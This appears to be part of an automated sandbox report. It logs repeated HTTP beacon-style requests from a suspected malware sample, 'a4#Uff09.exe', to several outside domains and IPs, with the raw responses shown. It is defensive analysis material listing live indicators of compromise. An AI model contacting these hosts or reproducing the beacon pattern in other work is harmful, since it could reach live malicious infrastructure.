                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          117192.168.2.74983437.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:47.368041992 CEST211OUTGET /images/xs2.jpg?1 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Connection: Keep-Alive
                                                          Jul 5, 2024 08:01:48.087614059 CEST646INHTTP/1.1 200 OK
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          cache-control: max-age=84600, public
                                                          expires: Fri, 12 Jul 2024 06:01:47 GMT
                                                          content-type: image/jpeg
                                                          last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                                          accept-ranges: bytes
                                                          content-length: 340
                                                          date: Fri, 05 Jul 2024 06:01:47 GMT
                                                          Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 01 00 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 02 01 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 03 01 01 3f 00 1f [TRUNCATED]
                                                          Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)================================================== ? ? ?


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          118192.168.2.74983554.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:48.267374992 CEST311OUTGET /images/xs.jpg?954ac704=-361372908 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159303|1720159208|4|22|0
                                                          Jul 5, 2024 08:01:48.997447014 CEST595INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:48 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159308|1720159208|4|23|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          119192.168.2.74983644.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:49.026282072 CEST303OUTGET /xs.jpg?9cb0bbcd=-1406900530 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159303|1720159209|3|22|0
                                                          Jul 5, 2024 08:01:49.558126926 CEST586INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:49 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159309|1720159209|4|23|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          120192.168.2.74983744.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:49.601686001 CEST306OUTGET /images/xs.jpg?a1720886=-1392358218 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: apple-pie.in
                                                          Cache-Control: no-cache
                                                          Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159305|1720159210|4|22|0; snkz=8.46.123.33
                                                          Jul 5, 2024 08:01:50.093672037 CEST334INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:50 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159310|1720159210|4|23|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          121192.168.2.74983878.46.2.155807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:50.101970911 CEST192OUTGET /xs.jpg?a48d053f=-615637126 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ahmediye.net
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:01:50.780827999 CEST403INHTTP/1.1 404 Not Found
                                                          Date: Fri, 05 Jul 2024 06:01:50 GMT
                                                          Server: Apache
                                                          Content-Length: 258
                                                          Content-Type: text/html; charset=iso-8859-1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          122192.168.2.74983937.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:50.838234901 CEST206OUTGET /images/xs2.jpg?ac5b7b63=-1233100875 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:01:51.550932884 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:01:51 GMT
                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          123192.168.2.74984037.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:52.073633909 CEST211OUTGET /images/xs2.jpg?1 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Connection: Keep-Alive
                                                          Jul 5, 2024 08:01:52.807152987 CEST646INHTTP/1.1 200 OK
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          cache-control: max-age=84600, public
                                                          expires: Fri, 12 Jul 2024 06:01:52 GMT
                                                          content-type: image/jpeg
                                                          last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                                          accept-ranges: bytes
                                                          content-length: 340
                                                          date: Fri, 05 Jul 2024 06:01:52 GMT
                                                          Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 01 00 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 02 01 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 03 01 01 3f 00 1f [TRUNCATED]
                                                          Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)================================================== ? ? ?


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          124192.168.2.74984154.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:53.003632069 CEST310OUTGET /images/xs.jpg?b96c587c=301362020 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159308|1720159208|4|23|0
                                                          Jul 5, 2024 08:01:53.734006882 CEST595INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:53 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159313|1720159208|4|24|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          125192.168.2.74984244.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:53.745328903 CEST301OUTGET /xs.jpg?be1cb312=978721078 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159309|1720159209|4|23|0
                                                          Jul 5, 2024 08:01:54.236272097 CEST586INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:54 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159314|1720159209|4|24|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          126192.168.2.74984344.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:54.772821903 CEST302OUTGET /images/xs.jpg?c0085b83=2190860 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: apple-pie.in
                                                          Cache-Control: no-cache
                                                          Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159310|1720159210|4|23|0; snkz=8.46.123.33
                                                          Jul 5, 2024 08:01:55.264219999 CEST334INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:55 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159315|1720159210|4|24|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          127192.168.2.74984478.46.2.155807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:55.275239944 CEST192OUTGET /xs.jpg?c4838ba0=1300931296 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ahmediye.net
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:01:55.954416037 CEST403INHTTP/1.1 404 Not Found
                                                          Date: Fri, 05 Jul 2024 06:01:55 GMT
                                                          Server: Apache
                                                          Content-Length: 258
                                                          Content-Type: text/html; charset=iso-8859-1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          128192.168.2.74984537.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:56.077593088 CEST204OUTGET /images/xs2.jpg?c8ef12d5=599542612 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:01:56.789722919 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:01:56 GMT
                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          129192.168.2.74984637.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:56.806369066 CEST211OUTGET /images/xs2.jpg?1 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Connection: Keep-Alive
                                                          Jul 5, 2024 08:01:57.514153957 CEST646INHTTP/1.1 200 OK
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          cache-control: max-age=84600, public
                                                          expires: Fri, 12 Jul 2024 06:01:57 GMT
                                                          content-type: image/jpeg
                                                          last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                                          accept-ranges: bytes
                                                          content-length: 340
                                                          date: Fri, 05 Jul 2024 06:01:57 GMT
                                                          Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 01 00 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 02 01 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 03 01 01 3f 00 1f [TRUNCATED]
